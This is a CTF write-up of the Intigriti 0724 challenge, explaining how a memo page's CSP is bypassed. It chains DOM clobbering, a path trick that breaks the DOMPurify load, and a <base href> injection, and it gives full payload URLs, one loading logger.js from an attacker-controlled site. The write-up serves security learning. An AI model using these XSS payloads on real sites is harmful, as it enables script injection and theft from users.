- Published on
Intigriti challenge 0724 writeup
- Authors
- Name
- Damjan Smickovski
- @smickovskid
Source: Intigriti
Solves: TBD
Introduction
Great challenge with some interesting CSP concepts and and DOM clobbering trickery.
Reconnaissance
Very simple page with one input form and one field. The text we enter in the memo field is reflected on the page upon submission.
![Challenge page](/static/images/intigriti_0724/challenge_page.png)
Source code analysis
All the logic is located under index.html
which imports a few files:
- Local import of DOMPurify 3.1.5
- Local import of a style
- Local import of
logger.js
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Memo Sharing</title>
<script integrity="sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=" src="./dompurify.js"></script>
<link rel="stylesheet" href="./style.css" />
</head>
<body>
<div class="navbar">
<h1>Memo Sharing</h1>
</div>
<div class="container">
<div class="app-description">
<h4>
Welcome to Memo Sharing, your safe platform for sharing memos.<br />Just type your memo
below and send it!
</h4>
</div>
<form id="memoForm">
<input type="text" id="memoContentInput" placeholder="Enter your memo here..." required />
<button type="submit" id="submitMemoButton">Submit Memo</button>
</form>
</div>
<div class="memos-display">
<p id="displayMemo"></p>
</div>
<script integrity="sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=">
document.getElementById("memoForm").addEventListener("submit", (event) => {
event.preventDefault();
const memoContent = document.getElementById("memoContentInput").value;
window.location.href = `${window.location.href.split("?")[0]}?memo=${encodeURIComponent(
memoContent
)}`;
});
const urlParams = new URLSearchParams(window.location.search);
const sharedMemo = urlParams.get("memo");
if (sharedMemo) {
const displayElement = document.getElementById("displayMemo");
//Don't worry about XSS, the CSP will protect us for now
displayElement.innerHTML = sharedMemo;
if (origin === "http://localhost") isDevelopment = true;
if (isDevelopment) {
//Testing XSS sanitization for next release
try {
const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
displayElement.innerHTML = sanitizedMemo;
} catch (error) {
const loggerScript = document.createElement("script");
loggerScript.src = "./logger.js";
loggerScript.onload = () => logError(error);
document.head.appendChild(loggerScript);
}
}
}
</script>
</body>
</html>
Our focus would be around the main script in index.html
. We can see that there is some interesting logic that checks whether the page is running in the development
environment by checking the isDevelopment
variable which is not defined by default. In such a case it sanitizes the input and displays it, otherwise it just displays it unsanitized relying on the CSP directives. The input is read either by submitting the form or defining the memo
query parameter.
CSP
All of the imported scripts have the integrity directive defined with the sha256 of the contents. This will block any of our attempts where we try to alter any of the script contents for either DOMPurify or the main script in index.js
since we would be altering the SHA. Inspecting the headers that are defined by the server we can see:
default-src *; script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=';
The TLDR is that we will have a hard time invoking arbitrary javascript execution without altering the contents of the scripts. In such cases we would get an error such as:
Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo='". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present.
Exploitation
The exploit will consist of 3 parts in order to get the XSS:
- DOM Clobbering
- Triggering the error code block
- Overriding the logger file location
DOM Clobbering
Since the sanitization is done only when the origin is localhost it is very easy to achieve DOM clobbering by injecting any html in the meta attribute e.g
https://challenge-0724.intigriti.io/challenge/index.html?memo=<h1>Clobber</h1>
The input is put inside a p
tag so adding a script there will not work, however we can test with an img based XSS e.g <img src=x onerror=alert(1)>
. This throws the beformentioned CSP error since we do not have the unsafe-inline
directive defined and we do not have the sha256
of our code block whitelisted.
Rabbit hole
It ain't a real CTF if we don't have a rabbit hole and desperation. These are good since we learn things along the way.
It is possible to invoke arbitrary JS via an iframe and the src attribute to render html from an attacker controlled site, however this only works inside the iframe and affects only the attacker domain. Trying to inject the script from our site will also be blocked due to the default-src
directive which disallows loading in a site from a different domain in the iframe. Also adding something like:
<iframe src="https://challenge-0724.intigriti.io/challenge/index.html"></iframe>
Will result in `Refused to display 'https://challenge-0724.intigriti.io/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.
Took me a while going back and forth and trying to bypass the CSP, override it in the iframe, editing the sandbox properties and much more with no avail. What I learned is that even if I did manage to bypass the restrictions I would not be able to edit the iframe contents and inject a malicious script to an already loaded iframe
with the src
attribute set.
Payload
Going back to the development environment portion of the code we can see that the isDevelopment
is not set anywhere, however it is always referenced. This means that if we find a way to define a global variable we would be able to enter the condition. The first section on hacktricks related to DOM clobbering has our answer.
It's possible to generate global variables inside the JS context with the attributes id and name in HTML tags.
We can confirm that this works with:
https://challenge-0724.intigriti.io/challenge/index.html?memo=<form id=isDevelopment></form>
With this payload we no longer see the error that isDevelopment
is not defined. This is great, now we have achieved DOM clobbering and successfully enter the conditional portion of the logic.
Error trigger
As a usual practice I always see if I can see any abnormalities with path traversals which lead me to the second part of the exploit. The index.html
file seems to be set as a fallback for any specified path even if it does not exist. As an example we can navigate to https://challenge-0724.intigriti.io/challenge/a/b/c/index.html?memo=test
and the page would load.
![Broken CSS](/static/images/intigriti_0724/broken_css.png)
Right away we can see that we seem to have not loaded the css
which is interesting. This is due to the fact that both the stylesheet and the dompurify scripts are being loaded with a relative path ./style.css
and ./dompurify.js
respectively.
Checking the console log we can see Failed to find a valid digest in the 'integrity' attribute for resource 'https://challenge-0724.intigriti.io/challenge/a/b/c/dompurify.js' with computed SHA-256 integrity 'T6qWAApYzyDAbQi4v3DmLdljNB8XAs06eI3hgUUfhRk='. The resource has been blocked.
This is great since we are not loading the script which means when we invoke sanitize
it wil error out and reach our catch block.
Payload
Combining our DOM clobbering with our error invocation we get:
https://challenge-0724.intigriti.io/challenge/a/b/c/index.html?memo=<form id="isDevelopment"></form>
Logger override
A big thank you to stealthcopter for the help around this topic which guided me to figuring out the final step. The offending logic resides in:
const loggerScript = document.createElement("script");
loggerScript.src = "./logger.js"
For local development a logger script is loaded in that will print out the error when an exception is thrown. The script has no significant logic:
// Not fully implemented yet
const logError = (error) => {
console.log(error);
};
There is an interesting HTML attribute named base that allows setting a default url for a specific path. If we specify ./logger.js
as the target
attribute of the base
tag we will be able to load in an external script via the href
attribute. Combining this with the two previous parts we get:
https://challenge-0724.intigriti.io/challenge/a/b/c?memo=<form id=isDevelopment></form><base href="<attacker_site>" target="./logger.js">
and we would just add alert(document.domain);
to the attacker controlled site.
Running this payload will overwrite the logger.js
script load and trigger the XSS.
![Broken CSS](/static/images/intigriti_0724/xss.png)
Conclusion
Great challenge that touches up on CSP directives and behaviours. Was a fun one for sure.